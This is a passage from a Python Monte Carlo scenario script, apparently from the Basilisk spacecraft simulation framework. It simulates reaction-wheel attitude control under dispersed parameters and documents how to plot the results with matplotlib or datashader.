that\n#     params1 = monteCarloLoaded.getParameters(NUMBER_OF_RUNS-1)\n#     params2 = monteCarloLoaded.getParameters(NUMBER_OF_RUNS-2)\n#     assert \"TaskList[0].TaskModels[0].RNGSeed\" in params1, \"random number seed should be applied\"\n#     for dispName in dispList:\n#         assert dispName in params1, \"dispersion should be applied\"\n#         # assert two different runs had different parameters.\n#         assert params1[dispName] != params2[dispName], \"dispersion should be different in each run\"\n#\n# ~~~~~~~~~~~~~~~\n#  Finally the data can be plotted as desired:\n#\n#\n# ~~~~~~~~~~~~~~~{.py}\n# # Now we execute our callback for the retained data.\n# # For this run, that means executing the plot.\n# # We can plot only runs 4,6,7 overlapped\n# monteCarloLoaded.executeCallbacks([4, 6, 7])\n# # or execute the plot on all runs\n# # monteCarloLoaded.executeCallbacks()\n#\n# # Now we clean up data from this test\n# shutil.rmtree(dirName)\n# assert not os.path.exists(dirName), \"No leftover data should exist after the test\"\n#\n# # And possibly show the plots\n# if show_plots:\n#     print \"Test concluded, showing plots now...\"\n#     plt.show()\n#     # close the plots being saved off to avoid over-writing old and new figures\n#     plt.close(\"all\")\n#\n# ~~~~~~~~~~~~~~~\n#\n# The resulting simulation illustrations are shown below.\n# ![MRP Attitude Error History](Images/Scenarios/scenarioMonteCarloAttRW_AttitudeError.svg \"Attitude Error history\")\n# ![Rate Tracking Error History](Images/Scenarios/scenarioMonteCarloAttRW_RateTrackingError.svg \"Rate Tracking Error history\")\n# ![RW Motor Torque History](Images/Scenarios/scenarioMonteCarloAttRW_RWMotorTorque.svg \"RW Motor Torque history\")\n# ![RW Speeds History](Images/Scenarios/scenarioMonteCarloAttRW_RWSpeed.svg \"RW Speeds history\")\n# ![RW Voltage History](Images/Scenarios/scenarioMonteCarloAttRW_RWVoltage.svg \"RW Voltage history\")\n#\n# ### Datashader and Monte Carlo\n# To install the `datashader` capability, see the [optional installation instructions](@ref installOptionalPackages).\n# Using datashader and holoviews together can rasterize and visualize large amounts of data very quickly.\n# We have provided a generalized datashader interface for Monte Carlo runs in\n# [datashaderGraphingInterface.py](@ref utilities/datashaderGraphingInterface)\n# After installing datashader and importing it in your monte carlo, you can\n# incorporate into a Monte Carlo very easily. First you need a method that you can easily call to configure the datashader\n# library. In this Monte Carlo, this method is called `configureDatashader()`. It is referenced at the top of the run(...) function.\n# An additional argument has been added to run(...) called `usedatashader`. This is set either in the pytest script\n# or in the __main__ function of the Monte Carlo.\n# ~~~~~~~~~~~~~~~{.py}\n# if __name__ == \"__main__\":\n#     run(  saveFigures=False        # save figures to file\n#         , case=1            # Case 1 is normal MC, case 2 is initial condition run\n#         , show_plots=True         # show_plots.\n#         , useDatashader=True         # use datashading library - matplotlib will not be used\n#        )\n# ~~~~~~~~~~~~~~~\n#\n# ~~~~~~~~~~~~~~~{.py}\n#DATASHADER_FOUND = True\n# try:\n#     from src.utilities import datashaderGraphingInterface as datashaderLibrary\n# except ImportError:\n#     print \"Datashader library not found. Will use matplotlib\"\n#     DATASHADER_FOUND = False\n## If using datashader, set this to 1 to graph\n# from existing csv files. Otherwise, set this to 0. This is usually set in the configure()\n# method at the bottom of the file\n# ONLY_GRAPH_DATA = 0\n#\n# def run(saveFigures, case, show_plots, useDatashader):\n# #If the datashader library has been found, configure. Otherwise continue using matplot lib.\n# if DATASHADER_FOUND:\n#     configureDatashader()\n# #This can be set anywhere within the file, to skip running the monte carlo and only graph\n# #the data from pre-existing csv files in `./data/`\n# if ONLY_GRAPH_DATA:\n#     return\n# ~~~~~~~~~~~~~~~\n# Next, you have to set the callback function to call a method within datashaderLibrary instead of using\n# the callback in the Monte Carlo:\n# ~~~~~~~~~~~~~~~{.py}\n#     if useDatashader & DATASHADER_FOUND:\n#         # plot, populate, write using datashader\n#         retentionPolicy.setDataCallback(datashaderLibrary.plotSim)\n# ~~~~~~~~~~~~~~~\n# Next, set the Monte Carlo to show plots using datashader instead of matplotlib\n# ~~~~~~~~~~~~~~~{.py}\n#        # And possibly show the plots\n# if show_plots:\n#     if useDatashader and DATASHADER_FOUND:\n#         print \"Test concluded, showing plots now via datashader\"\n#         datashaderLibrary.datashaderDriver(DATASHADER_FOUND)\n#     else:\n#         print \"Test concluded, showing plots now via matplot...\"\n#         plt.show()\n#         # close the plots being saved off to avoid over-writing old and new figures\n#         plt.close(\"all\")\n# ~~~~~~~~~~~~~~~\n# Lastly, populate the `configureDatashader()` with the graphs and data that the library will graph.\n# This is done by creating a list of Graph objects, and passing them to datashaderLibrary.\n# ~~~~~~~~~~~~~~~{.py}\n#\n# Graph = datashaderLibrary.DatashaderGraph\n#\n# # List of tuples that consist of: (message index, corresponding y axis label, title, etc for that data).\n# # When setting graphRange, you can use (0,0) to use the default min / max of the values for either x or y.\n# # For example, setting `graphRanges = (0,8), (0,0)`, sets the x range from 0 to 8, and keeps the y range as\n# # the default minimum and maximum values of the y range.\n# # The default unit of time is in seconds using the macro NANO2SEC; however, this can be changed by\n# # passing in a different macro from `macros.py` to multiply your x data range by that macro.\n# # Note: The time unit must align with the x and y range you set. If the graph is set to minutes,\n# # the range should be in minutes as well.\n# # Every value except `dataIndex` has default values so they do not need to be set. In the datashadingLibrary\n# # this index is used to parse into the messages dictionary to retrieve the data in the callback function.\n# # Such as: dataMessage = data[\"messages\"][index]\n# # You can also customize the name of the directories that will be created while datashading:\n# # datashaderDirectories = [\"/mc1_data_files/\", \"/mc1_assets_images/\"]\n# # You can also customize the name of the html file that is generated and holds the graphs:\n# # fileName = \"monte_carlo_graphs.html\"\n# # You can pass these values into the configure method below to set them in the library.\n# datashaderDataList = [\n#     Graph(dataIndex=attErrorConfigOutputDataName + \".sigma_BR\", yaxislabel=\"Attitude error (sigma)\",\n#           title=\"Attitude Error History\", xaxislabel=\"Time [minutes]\", color=\"fire\",\n#           graphRanges=[(0, 8), (0, 0)], dpi=400, macro=macros.NANO2MIN),\n#     Graph(dataIndex=attErrorConfigOutputDataName + \".omega_BR_B\", yaxislabel=\"Rate Tracking Error (rad/s)\",\n#           title=\"Attitude Tracking Error History\", xaxislabel=\"Time [seconds]\", color=\"fire\",\n#           graphRanges=[(100, 600), (-0.02, 0.02)], dpi=500, macro=macros.NANO2SEC),\n#     Graph(dataIndex=rwMotorTorqueConfigOutputDataName + \".motorTorque\", yaxislabel=\"Motor Torque (Nm)\",\n#           title=\"RW Motor Torque History\", color=\"GnBu\", dimension=(800, 400)),\n#     Graph(dataIndex=mrpControlConfigInputRWSpeedsName + \".wheelSpeeds\", yaxislabel=\"RW Speed (RPM)\",\n#           xaxislabel=\"Time [minutes]\", macro=macros.NANO2MIN,\n#           title=\"RW Wheel speeds history\"),\n#     Graph(dataIndex=fswRWVoltageConfigVoltageOutMsgName + \".voltage\", title=\"RW Voltage\", yaxislabel=\"RW Voltage (V)\",\n#           xaxislabel=\"Time [minutes]\", dpi=350, macro=macros.NANO2MIN)]\n# # Set whether or not the datashading library will save data to CSV files\n# # This is set to false by default in the library\n# datashaderLibrary.saveData = True\n# datashaderLibrary.configure(dataConfiguration=datashaderDataList\n#                             # ,directories=datashaderDirectories\n#                             , graphingTechnique=datashaderGraphType\n#                             # ,fileName = \"monte_carlo_graphs.html\"\n#                             )\n# # If ONLY_GRAPH_DATA has been set to true, the run(...) function has returned and ended,\n# #and the datashaderLibrary goes through the entire graphing process from pre existing csv files.\n# #This way, if you run a Monte Carlo that takes 3 hours to run, once you have the data,\n# #you can experiment with graphing the data and changing the configuration of datashadher\n# #to properly visualize the data without re-running the Monte Carlo\n# #if ONLY_GRAPH_DATA:\n#     print \"Datashading from existing csv files\"\n#     datashaderLibrary.graph(fromCSV=True)\n#     return\n# ~~~~~~~~~~~~~~~\n#\n# ##Holoviews vs Datashader:\n# There are inherently two different ways to save the graphs with the datashaderLibrary.\n# You can set which method is used in the configure() method via:\n# ~~~~~~~~~~~~~~~{.py}\n# #Set which graphing techniques the library uses. Options: 'holoviews_datashader', 'only_datashader', 'both'.\n# #The holoviews_datashader option allows the graph to have dyanmically generated axis\n# #values, whereas the datashaer option provides a higher resolution image, but without any axes information or labeling.\n# #If you want to plot just with datashader instead of holoviews, configure this variable and pass it in\n# #the configure() methods as 'graphingTechnique = datashaderGraphType'. By default it will use the\n# #holoviews interface to graph.\n# datashaderGraphType = \"both\"\n# ~~~~~~~~~~~~~~~\n# The default is using holoviews, which rasterizes the data via datashader, and saves all of the graphs into an html\n# file. From there, graphs can be saved as png files by opening the html file in a browser, and clicking the save button.\n# Graphs that are generated by holoviews (which also uses bokeh, and datashader) and configured using the code above\n# will look like this:\n# ![](Images/doc/RWMotorTorqueHoloviews.png)\n# ![](Images/doc/RWVoltageHoloviews.png)\n# ![](AttitudeErrorHoloviews.png)\n# ![](Images/doc/RWWHeelSpeedsHoloviews.png)\n# The second method of visualization only uses datashader, and therefore is not wrapped around a graphing library.\n# This will result in higher quality images; however, they do not have axis values, labels, etc.\n# All you generate is solely an image. Here are some of the datashaded images that are from the same data\n# as the holoview graphs above:\n# ![Attitude Error Datashaded](Images/doc/attErrorInertial_datashaded.png)\n# ![Reaction Wheel Speeds](Images/doc/reactionwheel_speed_datashaded.png)\n# Here are some examples of the Attitude Error in different color with a set x and y range to zoom in on the data.\n# ![Default color shading](Images/doc/attErrorInertial3DMsg_default.png \"Default color shading\")\n# ![GNU Color shading](Images/doc/attErrorInertial3DMsg_gnu.png \"GNU color shading\")\n# ![Jet color Shading](Images/doc/attErrorInertial3DMsg_jet.png \"Jet color shading\")\n#\n# These are the same plots output by the [scenarioMonteCarloAttRW.py](@ref scenarioMonteCarloAttRW) scenario. Please refer to this document for me details on the plots.\n##  @}\n\n\ndef run(saveFigures, case, show_plots, useDatashader):\n    '''This function is called by the py.test environment.'''\n\n    if DATASHADER_FOUND:\n        configureDatashader()\n\n    if ONLY_GRAPH_DATA:\n        return\n\n    # A MonteCarlo simulation can be created using the `MonteCarlo` module.\n    # This module is used to execute monte carlo simulations, and access\n    # retained data from previously executed MonteCarlo runs.\n\n    # First, the `Controller` class is used in order to define the simulation\n    monteCarlo = Controller()\n\n    # Every MonteCarlo simulation must define a function that creates the `SimulationBaseClass` to execute and returns it. Within this function, the simulation is created and configured\n    monteCarlo.setSimulationFunction(createScenarioAttitudeFeedbackRW)\n\n    # Also, every MonteCarlo simulation must define a function which executes the simulation that was created.\n    monteCarlo.setExecutionFunction(executeScenario)\n\n    # A Monte Carlo simulation must define how many simulation runs to execute\n    monteCarlo.setExecutionCount(NUMBER_OF_RUNS)\n\n    # The simulations can have random seeds of each simulation dispersed randomly\n    monteCarlo.setShouldDisperseSeeds(True)\n\n    # Optionally set the number of cores to use\n    # monteCarlo.setThreadCount(PROCESSES)\n\n    # Whether to print more verbose information during the run\n    monteCarlo.setVerbose(VERBOSE)\n\n    # We set up where to retain the data to.\n    dirName = \"montecarlo_test\" + str(os.getpid())\n    monteCarlo.setArchiveDir(dirName)\n\n    # Statistical dispersions can be applied to initial parameters using the MonteCarlo module\n    dispMRPInit = 'TaskList[0].TaskModels[0].hub.sigma_BNInit'\n    dispOmegaInit = 'TaskList[0].TaskModels[0].hub.omega_BN_BInit'\n    dispMass = 'TaskList[0].TaskModels[0].hub.mHub'\n    dispCoMOff = 'TaskList[0].TaskModels[0].hub.r_BcB_B'\n    dispInertia = 'hubref.IHubPntBc_B'\n    dispRW1Axis = 'RW1.gsHat_B'\n    dispRW2Axis = 'RW2.gsHat_B'\n    dispRW3Axis = 'RW3.gsHat_B'\n    dispRW1Omega = 'RW1.Omega'\n    dispRW2Omega = 'RW2.Omega'\n    dispRW3Omega = 'RW3.Omega'\n    dispVoltageIO_0 = 'rwVoltageIO.voltage2TorqueGain[0]'\n    dispVoltageIO_1 = 'rwVoltageIO.voltage2TorqueGain[1]'\n    dispVoltageIO_2 = 'rwVoltageIO.voltage2TorqueGain[2]'\n    dispList = [dispMRPInit, dispOmegaInit, dispMass, dispCoMOff, dispInertia]\n\n    # Add dispersions with their dispersion type\n    monteCarlo.addDispersion(UniformEulerAngleMRPDispersion(dispMRPInit))\n    monteCarlo.addDispersion(NormalVectorCartDispersion(dispOmegaInit, 0.0, 0.75 / 3.0 * np.pi / 180))\n    monteCarlo.addDispersion(UniformDispersion(dispMass, ([750.0 - 0.05*750, 750.0 + 0.05*750])))\n    monteCarlo.addDispersion(NormalVectorCartDispersion(dispCoMOff, [0.0, 0.0, 1.0], [0.05 / 3.0, 0.05 / 3.0, 0.1 / 3.0]))\n    monteCarlo.addDispersion(InertiaTensorDispersion(dispInertia, stdAngle=0.1))\n    monteCarlo.addDispersion(NormalVectorCartDispersion(dispRW1Axis, [1.0, 0.0, 0.0], [0.01 / 3.0, 0.005 / 3.0, 0.005 / 3.0]))\n    monteCarlo.addDispersion(NormalVectorCartDispersion(dispRW2Axis, [0.0, 1.0, 0.0], [0.005 / 3.0, 0.01 / 3.0, 0.005 / 3.0]))\n    monteCarlo.addDispersion(NormalVectorCartDispersion(dispRW3Axis, [0.0, 0.0, 1.0], [0.005 / 3.0, 0.005 / 3.0, 0.01 / 3.0]))\n    monteCarlo.addDispersion(UniformDispersion(dispRW1Omega, ([100.0 - 0.05*100, 100.0 + 0.05*100])))\n    monteCarlo.addDispersion(UniformDispersion(dispRW2Omega, ([200.0 - 0.05*200, 200.0 + 0.05*200])))\n    monteCarlo.addDispersion(UniformDispersion(dispRW3Omega, ([300.0 - 0.05*300, 300.0 + 0.05*300])))\n    monteCarlo.addDispersion(UniformDispersion(dispVoltageIO_0, ([0.2/10. - 0.05 * 0.2/10., 0.2/10. + 0.05 * 0.2/10.])))\n    monteCarlo.addDispersion(UniformDispersion(dispVoltageIO_1, ([0.2/10. - 0.05 * 0.2/10., 0.2/10. + 0.05 * 0.2/10.])))\n    monteCarlo.addDispersion(UniformDispersion(dispVoltageIO_2, ([0.2/10. - 0.05 * 0.2/10., 0.2/10. + 0.05 * 0.2/10.])))\n\n    # A `RetentionPolicy` is used to define what data from the simulation should be retained. A `RetentionPolicy`\n    # is a list of messages and variables to log from each simulation run. It also has a callback,\n    # used for plotting/processing the retained data.\n    retentionPolicy = RetentionPolicy()\n    # define the data to retain\n    retentionPolicy.addMessageLog(rwMotorTorqueConfigOutputDataName, [(\"motorTorque\", range(5))], samplingTime)\n    retentionPolicy.addMessageLog(attErrorConfigOutputDataName, [(\"sigma_BR\", range(3)), (\"omega_BR_B\", range(3))], samplingTime)\n    retentionPolicy.addMessageLog(sNavObjectOutputTransName, [(\"r_BN_N\", range(3))], samplingTime)\n    retentionPolicy.addMessageLog(mrpControlConfigInputRWSpeedsName, [(\"wheelSpeeds\", range(3))], samplingTime)\n    retentionPolicy.addMessageLog(fswRWVoltageConfigVoltageOutMsgName, [(\"voltage\", range(3))], samplingTime)\n\n    for message in rwOutName:\n        retentionPolicy.addMessageLog(message, [(\"u_current\", range(1))], samplingTime)\n    if show_plots:\n        # plot data only if show_plots is true, otherwise just retain\n        retentionPolicy.setDataCallback(plotSim)\n    if saveFigures:\n        # plot data only if show_plots is true, otherwise just retain\n        retentionPolicy.setDataCallback(plotSimAndSave)\n    if useDatashader & DATASHADER_FOUND:\n        # plot, populate, write using datashader\n        retentionPolicy.setDataCallback(datashaderLibrary.plotSim)\n    monteCarlo.addRetentionPolicy(retentionPolicy)\n\n    if case ==1:\n        # After the monteCarlo run is configured, it is executed.\n        # This method returns the list of jobs that failed.\n        failures = monteCarlo.executeSimulations()\n\n        assert len(failures) == 0, \"No runs should fail\"\n\n        # Now in another script (or the current one), the data from this simulation can be easily loaded.\n        # This demonstrates loading it from disk\n        monteCarloLoaded = Controller.load(dirName)\n\n        # Then retained data from any run can then be accessed in the form of a dictionary with two sub-dictionaries for messages and variables:\n        retainedData = monteCarloLoaded.getRetainedData(NUMBER_OF_RUNS-1)\n        assert retainedData is not None, \"Retained data should be available after execution\"\n        assert \"messages\" in retainedData, \"Retained data should retain messages\"\n        assert \"attErrorInertial3DMsg.sigma_BR\" in retainedData[\"messages\"], \"Retained messages should exist\"\n\n        # We also can rerun a case using the same parameters and random seeds\n        # If we rerun a properly set-up run, it should output the same data.\n        # Here we test that if we rerun the case the data doesn't change\n        oldOutput = retainedData[\"messages\"][\"attErrorInertial3DMsg.sigma_BR\"]\n\n        # Rerunning the case shouldn't fail\n        failed = monteCarloLoaded.reRunCases([NUMBER_OF_RUNS-1])\n        assert len(failed) == 0, \"Should rerun case successfully\"\n\n        # Now access the newly retained data to see if it changed\n        retainedData = monteCarloLoaded.getRetainedData(NUMBER_OF_RUNS-1)\n        newOutput = retainedData[\"messages\"][\"attErrorInertial3DMsg.sigma_BR\"]\n        for k1, v1 in enumerate(oldOutput):\n            for k2, v2 in enumerate(v1):\n                assert math.fabs(oldOutput[k1][k2] - newOutput[k1][k2]) < .001, \\\n                \"Outputs shouldn't change on runs if random seeds are same\"\n\n        # We can also access the initial parameters\n        # The random seeds should differ between runs, so we will test that\n        params1 = monteCarloLoaded.getParameters(NUMBER_OF_RUNS-1)\n        params2 = monteCarloLoaded.getParameters(NUMBER_OF_RUNS-2)\n        assert \"TaskList[0].TaskModels[0].RNGSeed\" in params1, \"random number seed should be applied\"\n        for dispName in dispList:\n            assert dispName in params1, \"dispersion should be applied\"\n            # assert two different runs had different parameters.\n            assert params1[dispName] != params2[dispName], \"dispersion should be different in each run\"\n\n        # Now we execute our callback for the retained data.\n        # For this run, that means executing the plot.\n        # We can plot only runs 4,6,7 overlapped\n        # monteCarloLoaded.executeCallbacks([4,6,7])\n        # or execute the plot on all runs\n        monteCarloLoaded.executeCallbacks()\n\n        # Now we clean up data from this test\n        shutil.rmtree(dirName)\n        assert not os.path.exists(dirName), \"No leftover data should exist after the test\"\n\n        # And possibly show the plots\n        if show_plots:\n            if useDatashader and DATASHADER_FOUND:\n                print \"Test concluded, showing plots now via datashader\"\n                datashaderLibrary.datashaderDriver(DATASHADER_FOUND)\n            else:\n                print \"Test concluded, showing plots now via matplot...\"\n                plt.show()\n                # close the plots being saved off to avoid over-writing old and new figures\n                plt.close(\"all\")\n\n    #########################################################\n    if case ==2:\n        # Now run initial cocnditions\n        icName = bskPath + \"/tests/testScripts/Support/run_MC_IC\"\n        monteCarlo.setICDir(icName)\n        monteCarlo.setICRunFlag(True)\n        numberICs = 3\n        monteCarlo.setExecutionCount(numberICs)\n\n\n        # Rerunning the case shouldn't fail\n        runsList = list(range(numberICs))\n        failed = monteCarlo.runInitialConditions(runsList)\n        assert len(failed) == 0, \"Should run ICs successfully\"\n\n        # monteCarlo.executeCallbacks([4,6,7])\n        runsList = list(range(numberICs))\n        monteCarlo.executeCallbacks(runsList)\n\n        # And possibly show the plots\n        if show_plots:\n            if useDatashader and DATASHADER_FOUND:\n                print \"Test conclused, showing plots now via datashader\"\n                datashaderLibrary.datashaderDriver(DATASHADER_FOUND)\n            else:\n                plt.show()\n                # close the plots being savfed off to avoid over-writing old and new figures\n                plt.close(\"all\")\n\n        # Now we clean up data from this test\n        os.remove(icName + '/' + 'MonteCarlo.data' )\n        for i in range(numberICs):\n            os.remove(icName + '/' + 'run' + str(i) + '.data')\n        assert not os.path.exists(icName + '/' + 'MonteCarlo.data'), \"No leftover data should exist after the test\"\n\n## This function creates the simulation to be executed in parallel.\n# It is copied directly from src/tests/scenarios.\ndef createScenarioAttitudeFeedbackRW():\n\n    # Create simulation variable names\n    simTaskName = \"simTask\"\n    simProcessName = \"simProcess\"\n\n    #  Create a sim module as an empty container\n    scSim = SimulationBaseClass.SimBaseClass()\n    scSim.TotalSim.terminateSimulation()\n\n    #\n    #  create the simulation process\n    #\n    dynProcess = scSim.CreateNewProcess(simProcessName)\n\n    # create the dynamics task and specify the integration update time\n    simulationTimeStep = macros.sec2nano(.1)\n    dynProcess.addTask(scSim.CreateNewTask(simTaskName, simulationTimeStep))\n\n    #\n    #   setup the simulation tasks/objects\n    #\n\n    # initialize spacecraftPlus object and set properties\n    scObject = spacecraftPlus.SpacecraftPlus()\n    scObject.ModelTag = \"spacecraftBody\"\n    # define the simulation inertia\n    I = [900., 0., 0.,\n         0., 800., 0.,\n         0., 0., 600.]\n    scObject.hub.mHub = 750.0                   # kg - spacecraft mass\n    scObject.hub.r_BcB_B = [[0.0], [0.0], [0.0]] # m - position vector of body-fixed point B relative to CM\n    scObject.hub.IHubPntBc_B = unitTestSupport.np2EigenMatrix3d(I)\n    scSim.hubref = scObject.hub\n\n    # add spacecraftPlus object to the simulation process\n    scSim.AddModelToTask(simTaskName, scObject, None, 1)\n\n    rwVoltageIO = rwVoltageInterface.RWVoltageInterface()\n    rwVoltageIO.ModelTag = \"rwVoltageInterface\"\n\n    # set module parameters(s)\n    rwVoltageIO.setGains(np.array([0.2/10.]*3))  # [Nm/V] conversion gain\n\n    #Add RW Voltage to sim for dispersion\n    scSim.rwVoltageIO = rwVoltageIO\n    # Add test module to runtime call list\n    scSim.AddModelToTask(simTaskName, rwVoltageIO)\n\n    # clear prior gravitational body and SPICE setup definitions\n    gravFactory = simIncludeGravBody.gravBodyFactory()\n\n    # setup Earth Gravity Body\n    earth = gravFactory.createEarth()\n    earth.isCentralBody = True  # ensure this is the central gravitational body\n    mu = earth.mu\n\n    # attach gravity model to spaceCraftPlus\n    scObject.gravField.gravBodies = spacecraftPlus.GravBodyVector(gravFactory.gravBodies.values())\n    #\n    # add RW devices\n    #\n    # Make a fresh RW factory instance, this is critical to run multiple times\n    rwFactory = simIncludeRW.rwFactory()\n\n    # store the RW dynamical model type\n    varRWModel = rwFactory.BalancedWheels\n\n\n    # create each RW by specifying the RW type, the spin axis gsHat, plus optional arguments\n    RW1 = rwFactory.create('Honeywell_HR16'\n                           , [1, 0, 0]\n                           , maxMomentum=50.\n                           , Omega=100.                 # RPM\n                           , RWModel= varRWModel\n                           )\n    RW2 = rwFactory.create('Honeywell_HR16'\n                           , [0, 1, 0]\n                           , maxMomentum=50.\n                           , Omega=200.                 # RPM\n                           , RWModel= varRWModel\n                           )\n    RW3 = rwFactory.create('Honeywell_HR16'\n                           , [0, 0, 1]\n                           , maxMomentum=50.\n                           , Omega=300.                 # RPM\n                           , rWB_B = [0.5, 0.5, 0.5]    # meters\n                           , RWModel= varRWModel\n                           )\n    numRW = rwFactory.getNumOfDevices()\n    # create RW object container and tie to spacecraft object\n    rwStateEffector = reactionWheelStateEffector.ReactionWheelStateEffector()\n    rwFactory.addToSpacecraft(\"ReactionWheels\", rwStateEffector, scObject)\n\n    #Add RWs to sim for dispersion\n    scSim.RW1 = RW1\n    scSim.RW2 = RW2\n    scSim.RW3 = RW3\n    # add RW object array to the simulation process\n    scSim.AddModelToTask(simTaskName, rwStateEffector, None, 2)\n\n    # add the simple Navigation sensor module.  This sets the SC attitude, rate, position\n    # velocity navigation message\n    sNavObject = simple_nav.SimpleNav()\n    sNavObject.ModelTag = \"SimpleNavigation\"\n    scSim.AddModelToTask(simTaskName, sNavObject)\n\n    #\n    #   setup the FSW algorithm tasks\n    #\n\n    # setup inertial3D guidance module\n    inertial3DConfig = inertial3D.inertial3DConfig()\n    inertial3DWrap = scSim.setModelDataWrap(inertial3DConfig)\n    inertial3DWrap.ModelTag = \"inertial3D\"\n    scSim.AddModelToTask(simTaskName, inertial3DWrap, inertial3DConfig)\n    inertial3DConfig.sigma_R0N = [0., 0., 0.]       # set the desired inertial orientation\n    inertial3DConfig.outputDataName = inertial3DConfigOutputDataName\n\n    # setup the attitude tracking error evaluation module\n    attErrorConfig = attTrackingError.attTrackingErrorConfig()\n    attErrorWrap = scSim.setModelDataWrap(attErrorConfig)\n    attErrorWrap.ModelTag = \"attErrorInertial3D\"\n    scSim.AddModelToTask(simTaskName, attErrorWrap, attErrorConfig)\n    attErrorConfig.outputDataName = attErrorConfigOutputDataName\n    attErrorConfig.inputRefName = inertial3DConfig.outputDataName\n    attErrorConfig.inputNavName = sNavObject.outputAttName\n\n    # setup the MRP Feedback control module\n    mrpControlConfig = MRP_Feedback.MRP_FeedbackConfig()\n    mrpControlWrap = scSim.setModelDataWrap(mrpControlConfig)\n    mrpControlWrap.ModelTag = \"MRP_Feedback\"\n    scSim.AddModelToTask(simTaskName, mrpControlWrap, mrpControlConfig)\n    mrpControlConfig.inputGuidName  = attErrorConfig.outputDataName\n    mrpControlConfig.vehConfigInMsgName  = \"vehicleConfigName\"\n    mrpControlConfig.outputDataName = mrpControlConfigOutputDataName\n    mrpControlConfig.rwParamsInMsgName = \"rwa_config_data_parsed\"\n    mrpControlConfig.inputRWSpeedsName = rwStateEffector.OutputDataString\n    mrpControlConfig.K  =   3.5\n    mrpControlConfig.Ki =   -1          # make value negative to turn off integral feedback\n    mrpControlConfig.P  = 30.0\n    mrpControlConfig.integralLimit = 2./mrpControlConfig.Ki * 0.1\n    mrpControlConfig.domega0 = [0.0, 0.0, 0.0]\n\n    # add module that maps the Lr control torque into the RW motor torques\n    rwMotorTorqueConfig = rwMotorTorque.rwMotorTorqueConfig()\n    rwMotorTorqueWrap = scSim.setModelDataWrap(rwMotorTorqueConfig)\n    rwMotorTorqueWrap.ModelTag = \"rwMotorTorque\"\n    scSim.AddModelToTask(simTaskName, rwMotorTorqueWrap, rwMotorTorqueConfig)\n    # Initialize the test module msg names\n    rwMotorTorqueConfig.outputDataName = rwMotorTorqueConfigOutputDataName\n    rwMotorTorqueConfig.inputVehControlName = mrpControlConfig.outputDataName\n    rwMotorTorqueConfig.rwParamsInMsgName = mrpControlConfig.rwParamsInMsgName\n    # Make the RW control all three body axes\n    controlAxes_B = [\n             1,0,0\n            ,0,1,0\n            ,0,0,1\n        ]\n    rwMotorTorqueConfig.controlAxes_B = controlAxes_B\n\n    fswRWVoltageConfig = rwMotorVoltage.rwMotorVoltageConfig()\n    fswRWVoltageWrap = scSim.setModelDataWrap(fswRWVoltageConfig)\n    fswRWVoltageWrap.ModelTag = \"rwMotorVoltage\"\n\n    # Add test module to runtime call list\n    scSim.AddModelToTask(simTaskName, fswRWVoltageWrap, fswRWVoltageConfig)\n\n    # Initialize the test module configuration data\n    fswRWVoltageConfig.torqueInMsgName = rwMotorTorqueConfig.outputDataName\n    fswRWVoltageConfig.rwParamsInMsgName = mrpControlConfig.rwParamsInMsgName\n    fswRWVoltageConfig.voltageOutMsgName = rwVoltageIO.rwVoltageInMsgName\n\n    # set module parameters\n    fswRWVoltageConfig.VMin = 0.0  # Volts\n    fswRWVoltageConfig.VMax = 10.0  # Volts\n\n    #\n    # create simulation messages\n    #\n\n    # create the FSW vehicle configuration message\n    vehicleConfigOut = fswMessages.VehicleConfigFswMsg()\n    vehicleConfigOut.ISCPntB_B = I  # use the same inertia in the FSW algorithm as in the simulation\n    unitTestSupport.setMessage(scSim.TotalSim,\n                               simProcessName,\n                               mrpControlConfig.vehConfigInMsgName,\n                               vehicleConfigOut)\n\n    # FSW RW configuration message\n    # use the same RW states in the FSW algorithm as in the simulation\n    fswSetupRW.clearSetup()\n    for key, rw in rwFactory.rwList.iteritems():\n        fswSetupRW.create(unitTestSupport.EigenVector3d2np(rw.gsHat_B), rw.Js, 0.2)\n    fswSetupRW.writeConfigMessage(mrpControlConfig.rwParamsInMsgName, scSim.TotalSim, simProcessName)\n\n    #\n    #   set initial Spacecraft States\n    #\n    # setup the orbit using classical orbit elements\n    oe = orbitalMotion.ClassicElements()\n    oe.a     = 10000000.0                                           # meters\n    oe.e     = 0.01\n    oe.i     = 33.3*macros.D2R\n    oe.Omega = 48.2*macros.D2R\n    oe.omega = 347.8*macros.D2R\n    oe.f     = 85.3*macros.D2R\n    rN, vN = orbitalMotion.elem2rv(mu, oe)\n    scObject.hub.r_CN_NInit = unitTestSupport.np2EigenVectorXd(rN)  # m   - r_CN_N\n    scObject.hub.v_CN_NInit = unitTestSupport.np2EigenVectorXd(vN)  # m/s - v_CN_N\n    scObject.hub.sigma_BNInit = [[0.1], [0.2], [-0.3]]              # sigma_CN_B\n    scObject.hub.omega_BN_BInit = [[0.001], [-0.01], [0.03]]        # rad/s - omega_CN_B\n\n    # This is a hack because of a bug in Basilisk... leave this line it keeps\n    # variables from going out of scope after this function returns\n    scSim.additionalReferences = [rwVoltageIO, fswRWVoltageWrap, scObject, earth, rwMotorTorqueWrap, mrpControlWrap, attErrorWrap, inertial3DWrap]\n\n    return scSim\n\ndef executeScenario(sim):\n    #\n    #   initialize Simulation\n    #\n    sim.InitializeSimulationAndDiscover()\n\n    #\n    #   configure a simulation stop time time and execute the simulation run\n    #\n    sim.ConfigureStopTime(simulationTime)\n    sim.ExecuteSimulation()\n\n# This method is used to plot the retained data of a simulation.\n# It is called once for each run of the simulation, overlapping the plots\ndef plotSim(data, retentionPolicy):\n    #\n    #   retrieve the logged data\n    #\n\n\n    dataUsReq = data[\"messages\"][rwMotorTorqueConfigOutputDataName+\".motorTorque\"]\n    dataSigmaBR = data[\"messages\"][attErrorConfigOutputDataName+\".sigma_BR\"]\n    dataOmegaBR = data[\"messages\"][attErrorConfigOutputDataName+\".omega_BR_B\"]\n    dataPos = data[\"messages\"][sNavObjectOutputTransName+\".r_BN_N\"]\n    dataOmegaRW = data[\"messages\"][mrpControlConfigInputRWSpeedsName+\".wheelSpeeds\"]\n    dataVolt = data[\"messages\"][fswRWVoltageConfigVoltageOutMsgName+\".voltage\"]\n    dataRW = []\n\n    for message in rwOutName:\n        dataRW.append(data[\"messages\"][message+\".u_current\"])\n    np.set_printoptions(precision=16)\n\n    #\n    #   plot the results\n    #\n\n    timeData = dataUsReq[:, 0] * macros.NANO2MIN\n\n    figureList = {}\n    plt.figure(1)\n    pltName = 'AttitudeError'\n    for idx in range(1,4):\n        plt.plot(timeData, dataSigmaBR[:, idx],\n                 label='Run ' + str(data[\"index\"]) + ' $\\sigma_'+str(idx)+'$')\n    # plt.legend(loc='lower right')\n    plt.xlabel('Time [min]')\n    